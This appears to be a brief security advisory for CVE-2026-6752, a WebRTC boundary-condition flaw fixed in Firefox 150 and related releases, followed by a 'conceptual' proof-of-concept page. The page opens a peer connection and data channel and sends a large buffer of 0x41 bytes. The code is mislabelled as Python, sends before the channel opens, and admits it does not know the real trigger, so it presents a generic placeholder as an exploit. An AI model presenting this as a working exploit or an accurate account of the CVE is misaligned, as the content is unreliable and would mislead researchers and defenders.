Incorrect boundary conditions in the WebRTC component. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-6752 (Conceptual)
This PoC attempts to trigger the boundary condition issue in WebRTC.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-6752 PoC</title>
</head>
<body>
<h1>WebRTC Boundary Condition PoC</h1>
<script>
// Create a PeerConnection to trigger WebRTC handling
const pc = new RTCPeerConnection({
iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
});
// Create a data channel to send malformed data
const dc = pc.createDataChannel("exploit");
// Simulate sending data that might trigger the boundary issue
// Note: Actual trigger depends on specific implementation details
try {
// Create a large buffer to test boundary handling
const buffer = new ArrayBuffer(1000000);
const view = new Uint8Array(buffer);
// Fill with specific patterns
for(let i=0; i<view.length; i++) {
view[i] = 0x41;
}
dc.send(view);
} catch (e) {
console.log("Error sending data: " + e);
}
pc.createOffer().then(offer => {
pc.setLocalDescription(offer);
});
</script>
</body>
</html>